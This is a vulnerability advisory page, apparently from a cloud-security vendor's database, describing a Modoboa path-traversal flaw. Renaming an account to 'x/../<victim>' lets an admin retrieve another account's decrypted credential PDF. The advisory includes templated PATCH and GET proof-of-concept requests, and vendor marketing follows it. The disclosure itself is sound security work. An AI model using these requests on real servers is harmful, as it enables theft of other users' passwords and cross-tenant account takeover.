
PEACH
Un cadre d’isolation des locataires
Modoboa stores credential PDFs in a shared storage directory using a filename
derived from the account's mutable username field. get_creds_filename()
only checks that the resolved path stays inside the storage directory; it does
not verify that the file belongs to the account being authorized
A privileged account without a mailbox (DomainAdmin or Reseller) can rename
itself to a path-like value such as x/../<victim>. The account update path
skips e-mail/domain validation whenever the request body has no mailbox key,
so the value is persisted. The attacker then calls
GET /api/v2/credentials/<own_id>/; authorization passes on the attacker's own
account, while os.path.abspath collapses x/../victim to
<storage_dir>/victim.pdf. The server decrypts that file and returns it.
The chain was confirmed end to end in the lab: the attacker received the
victim's decrypted PDF byte for byte (2557 bytes, matching SHA-256,
Content-Disposition: attachment; filename="reseller@tenant-a.test.pdf").
PATCH /api/v2/accounts/{{account_id}}/ HTTP/1.1
Host: {{host}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"username": "x/../{{victim_username}}"}GET /api/v2/credentials/{{account_id}}/ HTTP/1.1
Host: {{host}}
Authorization: Bearer {{token}}{{account_id}} is the attacker's own account.Accept: application/pdf in the second request; DRF returns 406.200, Content-Type: application/pdf, and
Content-Disposition: attachment; filename="{{victim_username}}.pdf".delete_first_dl=True, the file is deleted after download.plaintext usernames and passwords of any account whose username is
known and whose document still exists. If the victim is a Reseller or another
tenant's administrator, this becomes cross-tenant privilege escalation and
account takeover. With the default delete_first_dl=True, the read is
one-shot and also destroys the victim's document
Source: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."